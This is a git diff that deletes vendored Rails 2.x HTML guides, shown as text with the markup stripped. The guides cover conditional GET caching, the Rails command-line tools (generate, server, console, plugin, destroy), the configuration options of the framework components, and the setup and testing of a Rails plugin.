If you don’t have any special response processing and are using the default -rendering mechanism (i.e. you’re not using respond_to or calling render -yourself) then you’ve got an easy helper in fresh_when:

-
-
-
class ProductsController < ApplicationController
-
-  # This will automatically send back a :not_modified if the request is fresh,
-  # and will render the default template (product.*) if it's stale.
-
-  def show
-    @product = Product.find(params[:id])
-    fresh_when :last_modified => @product.published_at.utc, :etag => @article
-  end
-end
-
-

3. Advanced Caching

-
-

Along with the built-in mechanisms outlined above, a number of excellent -plugins exist to help with finer grained control over caching. These include -Chris Wanstrath’s excellent cache_fu plugin (more info here: -http://errtheblog.com/posts/57-kickin-ass-w-cachefu) and Evan Weaver’s -interlock plugin (more info here: -http://blog.evanweaver.com/articles/2007/12/13/better-rails-caching/). Both -of these plugins play nice with memcached and are a must-see for anyone -seriously considering optimizing their caching needs.

-
- -
-
- - diff --git a/vendor/rails/railties/doc/guides/html/command_line.html b/vendor/rails/railties/doc/guides/html/command_line.html deleted file mode 100644 index 226a68e1..00000000 --- a/vendor/rails/railties/doc/guides/html/command_line.html +++ /dev/null @@ -1,476 +0,0 @@ - - - - - A Guide to The Rails Command Line - - - - - - - - -
- - - -
-

A Guide to The Rails Command Line

-
-
-

Rails comes with every command line tool you’ll need to

-
    -
  • -

    -Create a Rails application -

    -
    • -
  • -

    -Generate models, controllers, database migrations, and unit tests -

    -
    • -
  • -

    -Start a development server -

    -
    • -
  • -

    -Mess with objects through an interactive shell -

    -
    • -
  • -

    -Profile and benchmark your new creation -

    -
    • -
-

... and much, much more! (Buy now!)

-

This tutorial assumes you have basic Rails knowledge from reading the Getting Started with Rails Guide.

-
-
-

1. Command Line Basics

-
-

There are a few commands that are absolutely critical to your everyday usage of Rails. In the order of how much you’ll probably use them are:

-
    -
  • -

    -console -

    -
    • -
  • -

    -server -

    -
    • -
  • -

    -rake -

    -
    • -
  • -

    -generate -

    -
    • -
  • -

    -rails -

    -
    • -
-

Let’s create a simple Rails application to step through each of these commands in context.

-

1.1. rails

-

The first thing we’ll want to do is create a new Rails application by running the rails command after installing Rails.

-
- - - -
-Note -You know you need the rails gem installed by typing gem install rails first, right? Okay, okay, just making sure.
-
-
-
-
$ rails commandsapp
-
-     create
-     create  app/controllers
-     create  app/helpers
-     create  app/models
-     ...
-     ...
-     create  log/production.log
-     create  log/development.log
-     create  log/test.log
-

Rails will set you up with what seems like a huge amount of stuff for such a tiny command! You’ve got the entire Rails directory structure now with all the code you need to run our simple application right out of the box.

-
- - - -
-Note -This output will seem very familiar when we get to the generate command. Creepy foreshadowing!
-
-

1.2. server

-

Let’s try it! The server command launches a small web server named WEBrick which comes bundled with Ruby. You’ll use this any time you want to view your work through a web browser.

-
- - - -
-Note -WEBrick isn’t your only option for serving Rails. We’ll get to that in a later section. [XXX: which section]
-
-

Here we’ll flex our server command, which without any prodding of any kind will run our new shiny Rails app:

-
-
-
$ cd commandsapp
-$ ./script/server
-=> Booting WEBrick...
-=> Rails 2.2.0 application started on http://0.0.0.0:3000
-=> Ctrl-C to shutdown server; call with --help for options
-[2008-11-04 10:11:38] INFO  WEBrick 1.3.1
-[2008-11-04 10:11:38] INFO  ruby 1.8.5 (2006-12-04) [i486-linux]
-[2008-11-04 10:11:38] INFO  WEBrick::HTTPServer#start: pid=18994 port=3000
-

WHOA. With just three commands we whipped up a Rails server listening on port 3000. Go! Go right now to your browser and go to http://localhost:3000. I’ll wait.

-

See? Cool! It doesn’t do much yet, but we’ll change that.

-

1.3. generate

-

The generate command uses templates to create a whole lot of things. You can always find out what’s available by running generate by itself. Let’s do that:

-
-
-
$ ./script/generate
-Usage: ./script/generate generator [options] [args]
-
-...
-...
-
-Installed Generators
-  Builtin: controller, integration_test, mailer, migration, model, observer, performance_test, plugin, resource, scaffold, session_migration
-
-...
-...
-
- - - -
-Note -You can install more generators through generator gems, portions of plugins you’ll undoubtedly install, and you can even create your own!
-
-

Using generators will save you a large amount of time by writing boilerplate code for you — necessary for the darn thing to work, but not necessary for you to spend time writing. That’s what we have computers for, right?

-

Let’s make our own controller with the controller generator. But what command should we use? Let’s ask the generator:

-
- - - -
-Note -All Rails console utilities have help text. As with most *NIX utilities, you can try adding --help or -h to the end, for example ./script/server --help.
-
-
-
-
$ ./script/generate controller
-Usage: ./script/generate controller ControllerName [options]
-
-...
-...
-
-Example:
-    `./script/generate controller CreditCard open debit credit close`
-
-    Credit card controller with URLs like /credit_card/debit.
-        Controller: app/controllers/credit_card_controller.rb
-        Views:      app/views/credit_card/debit.html.erb [...]
-        Helper:     app/helpers/credit_card_helper.rb
-        Test:       test/functional/credit_card_controller_test.rb
-
-Modules Example:
-    `./script/generate controller 'admin/credit_card' suspend late_fee`
-
-    Credit card admin controller with URLs /admin/credit_card/suspend.
-        Controller: app/controllers/admin/credit_card_controller.rb
-        Views:      app/views/admin/credit_card/debit.html.erb [...]
-        Helper:     app/helpers/admin/credit_card_helper.rb
-        Test:       test/functional/admin/credit_card_controller_test.rb
-

Ah, the controller generator is expecting parameters in the form of generate controller ControllerName action1 action2. Let’s make a Greetings controller with an action of hello, which will say something nice to us.

-
-
-
$ ./script/generate controller Greeting hello
-     exists  app/controllers/
-     exists  app/helpers/
-     create  app/views/greeting
-     exists  test/functional/
-     create  app/controllers/greetings_controller.rb
-     create  test/functional/greetings_controller_test.rb
-     create  app/helpers/greetings_helper.rb
-     create  app/views/greetings/hello.html.erb
-

Look there! Now what all did this generate? It looks like it made sure a bunch of directories were in our application, and created a controller file, a functional test file, a helper for the view, and a view file.

-

Let’s check out the controller and modify it a little (in app/controllers/greeting_controller.rb):

-
-
-
class GreetingController < ApplicationController
-  def hello
-    @message = "Hello, how are you today? I am exuberant!"
-  end
-
-end
-

Then the view, to display our nice message (in app/views/greeting/hello.html.erb):

-
-
-
<h1>A Greeting for You!</h1>
-<p><%= @message %></p>
-

Deal. Go check it out in your browser. Fire up your server. Remember? ./script/server at the root of your Rails application should do it.

-
-
-
$ ./script/server
-=> Booting WEBrick...
-

The URL will be http://localhost:3000/greetings/hello. I’ll wait for you to be suitably impressed.

-
- - - -
-Note -With a normal, plain-old Rails application, your URLs will generally follow the pattern of http://(host)/(controller)/(action), and a URL like http://(host)/(controller) will hit the index action of that controller.
-
-

"What about data, though?", you ask over a cup of coffee. Rails comes with a generator for data models too. Can you guess its generator name?

-
-
-
$ ./script/generate model
-Usage: ./script/generate model ModelName [field:type, field:type]
-
-...
-
-Examples:
-    `./script/generate model account`
-
-        creates an Account model, test, fixture, and migration:
-            Model:      app/models/account.rb
-            Test:       test/unit/account_test.rb
-            Fixtures:   test/fixtures/accounts.yml
-            Migration:  db/migrate/XXX_add_accounts.rb
-
-    `./script/generate model post title:string body:text published:boolean`
-
-        creates a Post model with a string title, text body, and published flag.
-

But instead of generating a model directly (which we’ll be doing later), let’s set up a scaffold. A scaffold in Rails is a full set of model, database migration for that model, controller to manipulate it, views to view and manipulate the data, and a test suite for each of the above.

-

Let’s set up a simple resource called "HighScore" that will keep track of our highest score on video games we play.

-
-
-
$ ./script/generate scaffold HighScore game:string score:integer
-    exists  app/models/
-    exists  app/controllers/
-    exists  app/helpers/
-    create  app/views/high_scores
-    create  app/views/layouts/
-    exists  test/functional/
-    create  test/unit/
-    create  public/stylesheets/
-    create  app/views/high_scores/index.html.erb
-    create  app/views/high_scores/show.html.erb
-    create  app/views/high_scores/new.html.erb
-    create  app/views/high_scores/edit.html.erb
-    create  app/views/layouts/high_scores.html.erb
-    create  public/stylesheets/scaffold.css
-    create  app/controllers/high_scores_controller.rb
-    create  test/functional/high_scores_controller_test.rb
-    create  app/helpers/high_scores_helper.rb
-     route  map.resources :high_scores
-dependency  model
-    exists    app/models/
-    exists    test/unit/
-    create    test/fixtures/
-    create    app/models/high_score.rb
-    create    test/unit/high_score_test.rb
-    create    test/fixtures/high_scores.yml
-    exists    db/migrate
-    create    db/migrate/20081217071914_create_high_scores.rb
-

Taking it from the top - the generator checks that there exist the directories for models, controllers, helpers, layouts, functional and unit tests, stylesheets, creates the views, controller, model and database migration for HighScore (creating the high_scores table and fields), takes care of the route for the resource, and new tests for everything.

-

The migration requires that we migrate, that is, run some Ruby code (living in that 20081217071914_create_high_scores.rb) to modify the schema of our database. Which database? The sqlite3 database that Rails will create for you when we run the rake db:migrate command. We’ll talk more about Rake in-depth in a little while.

-
- - - -
-Note -Hey. Install the sqlite3-ruby gem while you’re at it. gem install sqlite3-ruby
-
-
-
-
$ rake db:migrate
-(in /home/commandsapp)
-==  CreateHighScores: migrating ===============================================
--- create_table(:high_scores)
-   -> 0.0070s
-==  CreateHighScores: migrated (0.0077s) ======================================
-
- - - -
-Note -Let’s talk about unit tests. Unit tests are code that tests and makes assertions about code. In unit testing, we take a little part of code, say a method of a model, and test its inputs and outputs. Unit tests are your friend. The sooner you make peace with the fact that your quality of life will drastically increase when you unit test your code, the better. Seriously. We’ll make one in a moment.
-
-

Let’s see the interface Rails created for us. ./script/server; http://localhost:3000/high_scores

-

We can create new high scores (55,160 on Space Invaders!)

-

1.4. console

-

The console command lets you interact with your Rails application from the command line. On the underside, script/console uses IRB, so if you’ve ever used it, you’ll be right at home. This is useful for testing out quick ideas with code and changing data server-side without touching the website.

-

1.5. dbconsole

-

dbconsole figures out which database you’re using and drops you into whichever command line interface you would use with it (and figures out the command line parameters to give to it, too!). It supports MySQL, PostgreSQL, SQLite and SQLite3.

-

1.6. plugin

-

The plugin command simplifies plugin management; think a miniature version of the Gem utility. Let’s walk through installing a plugin. You can call the sub-command discover, which sifts through repositories looking for plugins, or call source to add a specific repository of plugins, or you can specify the plugin location directly.

-

Let’s say you’re creating a website for a client who wants a small accounting system. Every event having to do with money must be logged, and must never be deleted. Wouldn’t it be great if we could override the behavior of a model to never actually take its record out of the database, but instead, just set a field?

-

There is such a thing! The plugin we’re installing is called "acts_as_paranoid", and it lets models implement a "deleted_at" column that gets set when you call destroy. Later, when calling find, the plugin will tack on a database check to filter out "deleted" things.

-
-
-
$ ./script/plugin install http://svn.techno-weenie.net/projects/plugins/acts_as_paranoid
-+ ./CHANGELOG
-+ ./MIT-LICENSE
-...
-...
-

1.7. runner

-

runner runs Ruby code in the context of Rails non-interactively. For instance:

-
-
-
$ ./script/runner "Model.long_running_method"
-

1.8. destroy

-

Think of destroy as the opposite of generate. It’ll figure out what generate did, and undo it. Believe you-me, the creation of this tutorial used this command many times!

-
-
-
$ ./script/generate model Oops
-      exists  app/models/
-      exists  test/unit/
-      exists  test/fixtures/
-      create  app/models/oops.rb
-      create  test/unit/oops_test.rb
-      create  test/fixtures/oops.yml
-      exists  db/migrate
-      create  db/migrate/20081221040817_create_oops.rb
-$ ./script/destroy model Oops
-    notempty  db/migrate
-    notempty  db
-          rm  db/migrate/20081221040817_create_oops.rb
-          rm  test/fixtures/oops.yml
-          rm  test/unit/oops_test.rb
-          rm  app/models/oops.rb
-    notempty  test/fixtures
-    notempty  test
-    notempty  test/unit
-    notempty  test
-    notempty  app/models
-    notempty  app
-

1.9. about

-

Check it: Version numbers for Ruby, RubyGems, Rails, the Rails subcomponents, your application’s folder, the current Rails environment name, your app’s database adapter, and schema version! about is useful when you need to ask help, check if a security patch might affect you, or when you need some stats for an existing Rails installation.

-
-
-
$ ./script/about
-About your application's environment
-Ruby version              1.8.6 (i486-linux)
-RubyGems version          1.3.1
-Rails version             2.2.0
-Active Record version     2.2.0
-Action Pack version       2.2.0
-Active Resource version   2.2.0
-Action Mailer version     2.2.0
-Active Support version    2.2.0
-Edge Rails revision       unknown
-Application root          /home/commandsapp
-Environment               development
-Database adapter          sqlite3
-Database schema version   20081217073400
-
- -
-
- - diff --git a/vendor/rails/railties/doc/guides/html/configuring.html b/vendor/rails/railties/doc/guides/html/configuring.html deleted file mode 100644 index 3cd41f10..00000000 --- a/vendor/rails/railties/doc/guides/html/configuring.html +++ /dev/null @@ -1,352 +0,0 @@ - - - - - Configuring Rails Applications - - - - - - - - -
- - - -
-

Configuring Rails Applications

-
-
-

This guide covers the configuration and initialization features available to Rails applications. By referring to this guide, you will be able to:

-
    -
  • -

    -Adjust the behavior of your Rails applications -

    -
    • -
  • -

    -Add additional code to be run at application start time -

    -
    • -
-
- - - -
-Note -The first edition of this Guide was written from the Rails 2.3 source code. While the information it contains is broadly applicable to Rails 2.2, backwards compatibility is not guaranteed.
-
-
-
-

1. Locations for Initialization Code

-
-

Rails offers (at least) five good spots to place initialization code:

-
    -
  • -

    -Preinitializers -

    -
    • -
  • -

    -environment.rb -

    -
    • -
  • -

    -Environment-specific Configuration Files -

    -
    • -
  • -

    -Initializers (load_application_initializers) -

    -
    • -
  • -

    -After-Initializers -

    -
    • -
-
-

2. Using a Preinitializer

-
-

Rails allows you to use a preinitializer to run code before the framework itself is loaded. If you save code in RAILS_ROOT/config/preinitializer.rb, that code will be the first thing loaded, before any of the framework components (Active Record, Action Pack, and so on.) If you want to change the behavior of one of the classes that is used in the initialization process, you can do so in this file.

-
-

3. Configuring Rails Components

-
-

In general, the work of configuring Rails means configuring the components of Rails, as well as configuring Rails itself. The environment.rb and environment-specific configuration files (such as config/environments/production.rb) allow you to specify the various settings that you want to pass down to all of the components. For example, the default Rails 2.3 environment.rb file includes one setting:

-
-
-
config.time_zone = 'UTC'
-

This is a setting for Rails itself. If you want to pass settings to individual Rails components, you can do so via the same config object:

-
-
-
config.active_record.colorize_logging = false
-

Rails will use that particular setting to configure Active Record.

-

3.1. Configuring Active Record

-

ActiveRecord::Base includes a variety of configuration options:

-

logger accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then passed on to any new database connections made. You can retrieve this logger by calling logger on either an ActiveRecord model class or an ActiveRecord model instance. Set to nil to disable logging.

-

primary_key_prefix_type lets you adjust the naming for primary key columns. By default, Rails assumes that primary key columns are named id (and this configuration option doesn’t need to be set.) There are two other choices:

-
    -
  • -

    -:table_name would make the primary key for the Customer class customerid -

    -
    • -
  • -

    -:table_name_with_underscore would make the primary key for the Customer class customer_id -

    -
    • -
-

table_name_prefix lets you set a global string to be prepended to table names. If you set this to northwest_, then the Customer class will look for northwest_customers as its table. The default is an empty string.

-

table_name_suffix lets you set a global string to be appended to table names. If you set this to _northwest, then the Customer class will look for customers_northwest as its table. The default is an empty string.

-

pluralize_table_names specifies whether Rails will look for singular or plural table names in the database. If set to true (the default), then the Customer class will use the customers table. If set to false, then the Customers class will use the customer table.

-

colorize_logging (true by default) specifies whether or not to use ANSI color codes when logging information from ActiveRecord.

-

default_timezone determines whether to use Time.local (if set to :local) or Time.utc (if set to :utc) when pulling dates and times from the database. The default is :local.

-

schema_format controls the format for dumping the database schema to a file. The options are :ruby (the default) for a database-independent version that depends on migrations, or :sql for a set of (potentially database-dependent) SQL statements.

-

timestamped_migrations controls whether migrations are numbered with serial integers or with timestamps. The default is true, to use timestamps, which are preferred if there are multiple developers working on the same application.

-

lock_optimistically controls whether ActiveRecord will use optimistic locking. By default this is true.

-

The MySQL adapter adds one additional configuration option:

-

ActiveRecord::ConnectionAdapters::MysqlAdapter.emulate_booleans controls whether ActiveRecord will consider all tinyint(1) columns in a MySQL database to be booleans. By default this is true.

-

The schema dumper adds one additional configuration option:

-

ActiveRecord::SchemaDumper.ignore_tables accepts an array of tables that should not be included in any generated schema file. This setting is ignored unless ActiveRecord::Base.schema_format == :ruby.

-

3.2. Configuring Action Controller

-

ActionController::Base includes a number of configuration settings:

-

asset_host provides a string that is prepended to all of the URL-generating helpers in AssetHelper. This is designed to allow moving all javascript, CSS, and image files to a separate asset host.

-

consider_all_requests_local is generally set to true during development and false during production; if it is set to true, then any error will cause detailed debugging information to be dumped in the HTTP response. For finer-grained control, set this to false and implement local_request? to specify which requests should provide debugging information on errors.

-

allow_concurrency should be set to true to allow concurrent (threadsafe) action processing. Set to false by default.

-

param_parsers provides an array of handlers that can extract information from incoming HTTP requests and add it to the params hash. By default, parsers for multipart forms, URL-encoded forms, XML, and JSON are active.

-

default_charset specifies the default character set for all renders. The default is "utf-8".

-

logger accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Action Controller. Set to nil to disable logging.

-

resource_action_separator gives the token to be used between resources and actions when building or interpreting RESTful URLs. By default, this is "/".

-

resource_path_names is a hash of default names for several RESTful actions. By default, the new action is named new and the edit action is named edit.

-

request_forgery_protection_token sets the token parameter name for RequestForgery. Calling protect_from_forgery sets it to :authenticity_token by default.

-

optimise_named_routes turns on some optimizations in generating the routing table. It is set to true by default.

-

use_accept_header sets the rules for determining the response format. If this is set to true (the default) then respond_to and Request#format will take the Accept header into account. If it is set to false then the request format will be determined solely by examining params[:format]. If there is no format parameter, then the response format will be either HTML or Javascript depending on whether the request is an AJAX request.

-

allow_forgery_protection enables or disables CSRF protection. By default this is false in test mode and true in all other modes.

-

relative_url_root can be used to tell Rails that you are deploying to a subdirectory. The default is ENV[RAILS_RELATIVE_URL_ROOT].

-

The caching code adds two additional settings:

-

ActionController::Caching::Pages.page_cache_directory sets the directory where Rails will create cached pages for your web server. The default is Rails.public_path (which is usually set to RAILS_ROOT + "/public").

-

ActionController::Caching::Pages.page_cache_extension sets the extension to be used when generating pages for the cache (this is ignored if the incoming request already has an extension). The default is .html.

-

The dispatcher includes one setting:

-

ActionController::Dispatcher.error_file_path gives the path where Rails will look for error files such as 404.html. The default is Rails.public_path.

-

The Active Record session store can also be configured:

-

CGI::Session::ActiveRecordStore::Session.data_column_name sets the name of the column to use to store session data. By default it is data

-

3.3. Configuring Action View

-

There are only a few configuration options for Action View, starting with four on ActionView::Base:

-

debug_rjs specifies whether RJS responses should be wrapped in a try/catch block that alert()s the caught exception (and then re-raises it). The default is false.

-

warn_cache_misses tells Rails to display a warning whenever an action results in a cache miss on your view paths. The default is false.

-

-

default_form_builder tells Rails which form builder to use by default. The default is ActionView::Helpers::FormBuilder.

-

The ERB template handler supplies one additional option:

-

ActionView::TemplateHandlers::ERB.erb_trim_mode gives the trim mode to be used by ERB. It defaults to -. See the ERB documentation for more information.

-

3.4. Configuring Action Mailer

-

There are a number of settings available on ActionMailer::Base:

-

template_root gives the root folder for Action Mailer templates.

-

logger accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Action Mailer. Set to nil to disable logging.

-

smtp_settings allows detailed configuration for the :smtp delivery method. It accepts a hash of options, which can include any of these options:

-
    -
  • -

    -:address - Allows you to use a remote mail server. Just change it from its default "localhost" setting. -

    -
    • -
  • -

    -:port - On the off chance that your mail server doesn’t run on port 25, you can change it. -

    -
    • -
  • -

    -:domain - If you need to specify a HELO domain, you can do it here. -

    -
    • -
  • -

    -:user_name - If your mail server requires authentication, set the username in this setting. -

    -
    • -
  • -

    -:password - If your mail server requires authentication, set the password in this setting. -

    -
    • -
  • -

    -:authentication - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of :plain, :login, :cram_md5. -

    -
    • -
-

sendmail_settings allows detailed configuration for the sendmail delivery method. It accepts a hash of options, which can include any of these options:

-
    -
  • -

    -:location - The location of the sendmail executable. Defaults to /usr/sbin/sendmail. -

    -
    • -
  • -

    -:arguments - The command line arguments. Defaults to -i -t. -

    -
    • -
-

raise_delivery_errors specifies whether to raise an error if email delivery cannot be completed. It defaults to true.

-

delivery_method defines the delivery method. The allowed values are :smtp (default), :sendmail, and :test.

-

perform_deliveries specifies whether mail will actually be delivered. By default this is true; it can be convenient to set it to false for testing.

-

default_charset tells Action Mailer which character set to use for the body and for encoding the subject. It defaults to utf-8.

-

default_content_type specifies the default content type used for the main part of the message. It defaults to "text/plain"

-

default_mime_version is the default MIME version for the message. It defaults to 1.0.

-

default_implicit_parts_order - When a message is built implicitly (i.e. multiple parts are assembled from templates -which specify the content type in their filenames) this variable controls how the parts are ordered. Defaults to -["text/html", "text/enriched", "text/plain"]. Items that appear first in the array have higher priority in the mail client -and appear last in the mime encoded message.

-

3.5. Configuring Active Resource

-

There is a single configuration setting available on ActiveResource::Base:

-

logger accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Active Resource. Set to nil to disable logging.

-

3.6. Configuring Active Support

-

There are a few configuration options available in Active Support:

-

ActiveSupport::BufferedLogger.silencer is set to false to disable the ability to silence logging in a block. The default is true.

-

ActiveSupport::Cache::Store.logger specifies the logger to use within cache store operations.

-

ActiveSupport::Logger.silencer is set to false to disable the ability to silence logging in a block. The default is true.

-

3.7. Configuring Active Model

-

Active Model currently has a single configuration setting:

-

ActiveModel::Errors.default_error_messages is an array containing all of the validation error messages.

-
-

4. Using Initializers

-
-

After it loads the framework plus any gems and plugins in your application, Rails turns to loading initializers. An initializer is any file of ruby code stored under /config/initializers in your application. You can use initializers to hold configuration settings that should be made after all of the frameworks and plugins are loaded.

-
- - - -
-Note -You can use subfolders to organize your initializers if you like, because Rails will look into the whole file hierarchy from the initializers folder on down.
-
-
- - - -
-Tip -If you have any ordering dependency in your initializers, you can control the load order by naming. For example, 01_critical.rb will be loaded before 02_normal.rb.
-
-
-

5. Using an After-Initializer

-
-

After-initializers are run (as you might guess) after any initializers are loaded. You can supply an after_initialize block (or an array of such blocks) by setting up config.after_initialize in any of the Rails configuration files:

-
-
-
config.after_initialize do
-  SomeClass.init
-end
-
- - - -
-Warning -Some parts of your application, notably observers and routing, are not yet set up at the point where the after_initialize block is called.
-
-
-

6. Rails Environment Settings

-
-

Some parts of Rails can also be configured externally by supplying environment variables. The following environment variables are recognized by various parts of Rails:

-

ENV[RAILS_ENV] defines the Rails environment (production, development, test, and so on) that Rails will run under.

-

ENV[RAILS_RELATIVE_URL_ROOT] is used by the routing code to recognize URLs when you deploy your application to a subdirectory.

-

ENV["RAILS_ASSET_ID"] will override the default cache-busting timestamps that Rails generates for downloadable assets.

-

ENV["RAILS_CACHE_ID"] and ENV["RAILS_APP_VERSION"] are used to generate expanded cache keys in Rails' caching code. This allows you to have multiple separate caches from the same application.

-

ENV[RAILS_GEM_VERSION] defines the version of the Rails gems to use, if RAILS_GEM_VERSION is not defined in your environment.rb file.

-
-

7. Changelog

-
-

Lighthouse ticket

-
-
- -
-
- - diff --git a/vendor/rails/railties/doc/guides/html/creating_plugins.html b/vendor/rails/railties/doc/guides/html/creating_plugins.html deleted file mode 100644 index 1c512519..00000000 --- a/vendor/rails/railties/doc/guides/html/creating_plugins.html +++ /dev/null @@ -1,1678 +0,0 @@ - - - - - The Basics of Creating Rails Plugins - - - - - - - - -
- - - -
-

The Basics of Creating Rails Plugins

-
-
-

A Rails plugin is either an extension or a modification of the core framework. Plugins provide:

-
    -
  • -

    -a way for developers to share bleeding-edge ideas without hurting the stable code base -

    -
    • -
  • -

    -a segmented architecture so that units of code can be fixed or updated on their own release schedule -

    -
    • -
  • -

    -an outlet for the core developers so that they don’t have to include every cool new feature under the sun -

    -
    • -
-

After reading this guide you should be familiar with:

-
    -
  • -

    -Creating a plugin from scratch -

    -
    • -
  • -

    -Writing and running tests for the plugin -

    -
    • -
  • -

    -Storing models, views, controllers, helpers and even other plugins in your plugins -

    -
    • -
  • -

    -Writing generators -

    -
    • -
  • -

    -Writing custom Rake tasks in your plugin -

    -
    • -
  • -

    -Generating RDoc documentation for your plugin -

    -
    • -
  • -

    -Avoiding common pitfalls with init.rb -

    -
    • -
-

This guide describes how to build a test-driven plugin that will:

-
    -
  • -

    -Extend core ruby classes like Hash and String -

    -
    • -
  • -

    -Add methods to ActiveRecord::Base in the tradition of the acts_as plugins -

    -
    • -
  • -

    -Add a view helper that can be used in erb templates -

    -
    • -
  • -

    -Add a new generator that will generate a migration -

    -
    • -
  • -

    -Add a custom generator command -

    -
    • -
  • -

    -A custom route method that can be used in routes.rb -

    -
    • -
-

For the purpose of this guide pretend for a moment that you are an avid bird watcher. Your favorite bird is the Yaffle, and you want to create a plugin that allows other developers to share in the Yaffle goodness. First, you need to get setup for development.

-
-
-

1. Setup

-
-

1.1. Create the basic app

-

The examples in this guide require that you have a working rails application. To create a simple rails app execute:

-
-
-
gem install rails
-rails yaffle_guide
-cd yaffle_guide
-script/generate scaffold bird name:string
-rake db:migrate
-script/server
-
-

Then navigate to http://localhost:3000/birds. Make sure you have a functioning rails app before continuing.

-
- - - -
-Note - -
Editor’s note:
The aforementioned instructions will work for sqlite3. For more detailed instructions on how to create a rails app for other databases see the API docs.
-
-

1.2. Generate the plugin skeleton

-

Rails ships with a plugin generator which creates a basic plugin skeleton. Pass the plugin name, either CamelCased or under_scored, as an argument. Pass --with-generator to add an example generator also.

-

This creates a plugin in vendor/plugins including an init.rb and README as well as standard lib, task, and test directories.

-

Examples:

-
-
-
./script/generate plugin yaffle
-./script/generate plugin yaffle --with-generator
-
-

To get more detailed help on the plugin generator, type ./script/generate plugin.

-

Later on this guide will describe how to work with generators, so go ahead and generate your plugin with the --with-generator option now:

-
-
-
./script/generate plugin yaffle --with-generator
-
-

You should see the following output:

-
-
-
create  vendor/plugins/yaffle/lib
-create  vendor/plugins/yaffle/tasks
-create  vendor/plugins/yaffle/test
-create  vendor/plugins/yaffle/README
-create  vendor/plugins/yaffle/MIT-LICENSE
-create  vendor/plugins/yaffle/Rakefile
-create  vendor/plugins/yaffle/init.rb
-create  vendor/plugins/yaffle/install.rb
-create  vendor/plugins/yaffle/uninstall.rb
-create  vendor/plugins/yaffle/lib/yaffle.rb
-create  vendor/plugins/yaffle/tasks/yaffle_tasks.rake
-create  vendor/plugins/yaffle/test/core_ext_test.rb
-create  vendor/plugins/yaffle/generators
-create  vendor/plugins/yaffle/generators/yaffle
-create  vendor/plugins/yaffle/generators/yaffle/templates
-create  vendor/plugins/yaffle/generators/yaffle/yaffle_generator.rb
-create  vendor/plugins/yaffle/generators/yaffle/USAGE
-
-

1.3. Organize your files

-

To make it easy to organize your files and to make the plugin more compatible with GemPlugins, start out by altering your file system to look like this:

-
-
-
|-- lib
-|   |-- yaffle
-|   `-- yaffle.rb
-`-- rails
-    |
-    `-- init.rb
-
-

vendor/plugins/yaffle/rails/init.rb

-
-
-
require 'yaffle'
-

Now you can add any require statements to lib/yaffle.rb and keep init.rb clean.

-
-

2. Tests

-
-

In this guide you will learn how to test your plugin against multiple different database adapters using Active Record. To setup your plugin to allow for easy testing you’ll need to add 3 files:

-
    -
  • -

    -A database.yml file with all of your connection strings -

    -
    • -
  • -

    -A schema.rb file with your table definitions -

    -
    • -
  • -

    -A test helper method that sets up the database -

    -
    • -
-

2.1. Test Setup

-

vendor/plugins/yaffle/test/database.yml:

-
-
-
sqlite:
-  :adapter: sqlite
-  :dbfile: vendor/plugins/yaffle/test/yaffle_plugin.sqlite.db
-
-sqlite3:
-  :adapter: sqlite3
-  :dbfile: vendor/plugins/yaffle/test/yaffle_plugin.sqlite3.db
-
-postgresql:
-  :adapter: postgresql
-  :username: postgres
-  :password: postgres
-  :database: yaffle_plugin_test
-  :min_messages: ERROR
-
-mysql:
-  :adapter: mysql
-  :host: localhost
-  :username: root
-  :password: password
-  :database: yaffle_plugin_test
-
-

For this guide you’ll need 2 tables/models, Hickwalls and Wickwalls, so add the following:

-

vendor/plugins/yaffle/test/schema.rb:

-
-
-
ActiveRecord::Schema.define(:version => 0) do
-  create_table :hickwalls, :force => true do |t|
-    t.string :name
-    t.string :last_squawk
-    t.datetime :last_squawked_at
-  end
-  create_table :wickwalls, :force => true do |t|
-    t.string :name
-    t.string :last_tweet
-    t.datetime :last_tweeted_at
-  end
-  create_table :woodpeckers, :force => true do |t|
-    t.string :name
-  end
-end
-

vendor/plugins/yaffle/test/test_helper.rb:

-
-
-
ENV['RAILS_ENV'] = 'test'
-ENV['RAILS_ROOT'] ||= File.dirname(__FILE__) + '/../../../..'
-
-require 'test/unit'
-require File.expand_path(File.join(ENV['RAILS_ROOT'], 'config/environment.rb'))
-
-def load_schema
-  config = YAML::load(IO.read(File.dirname(__FILE__) + '/database.yml'))
-  ActiveRecord::Base.logger = Logger.new(File.dirname(__FILE__) + "/debug.log")
-
-  db_adapter = ENV['DB']
-
-  # no db passed, try one of these fine config-free DBs before bombing.
-  db_adapter ||=
-    begin
-      require 'rubygems'
-      require 'sqlite'
-      'sqlite'
-    rescue MissingSourceFile
-      begin
-        require 'sqlite3'
-        'sqlite3'
-      rescue MissingSourceFile
-      end
-    end
-
-  if db_adapter.nil?
-    raise "No DB Adapter selected. Pass the DB= option to pick one, or install Sqlite or Sqlite3."
-  end
-
-  ActiveRecord::Base.establish_connection(config[db_adapter])
-  load(File.dirname(__FILE__) + "/schema.rb")
-  require File.dirname(__FILE__) + '/../rails/init.rb'
-end
-

Now whenever you write a test that requires the database, you can call load_schema.

-

2.2. Run the plugin tests

-

Once you have these files in place, you can write your first test to ensure that your plugin-testing setup is correct. By default rails generates a file in vendor/plugins/yaffle/test/yaffle_test.rb with a sample test. Replace the contents of that file with:

-

vendor/plugins/yaffle/test/yaffle_test.rb:

-
-
-
require File.dirname(__FILE__) + '/test_helper.rb'
-
-class YaffleTest < Test::Unit::TestCase
-  load_schema
-
-  class Hickwall < ActiveRecord::Base
-  end
-
-  class Wickwall < ActiveRecord::Base
-  end
-
-  def test_schema_has_loaded_correctly
-    assert_equal [], Hickwall.all
-    assert_equal [], Wickwall.all
-  end
-
-end
-

To run this, go to the plugin directory and run rake:

-
-
-
cd vendor/plugins/yaffle
-rake
-
-

You should see output like:

-
-
-
/opt/local/bin/ruby -Ilib:lib "/opt/local/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake/rake_test_loader.rb" "test/yaffle_test.rb"
--- create_table(:hickwalls, {:force=>true})
-   -> 0.0220s
--- create_table(:wickwalls, {:force=>true})
-   -> 0.0077s
--- initialize_schema_migrations_table()
-   -> 0.0007s
--- assume_migrated_upto_version(0)
-   -> 0.0007s
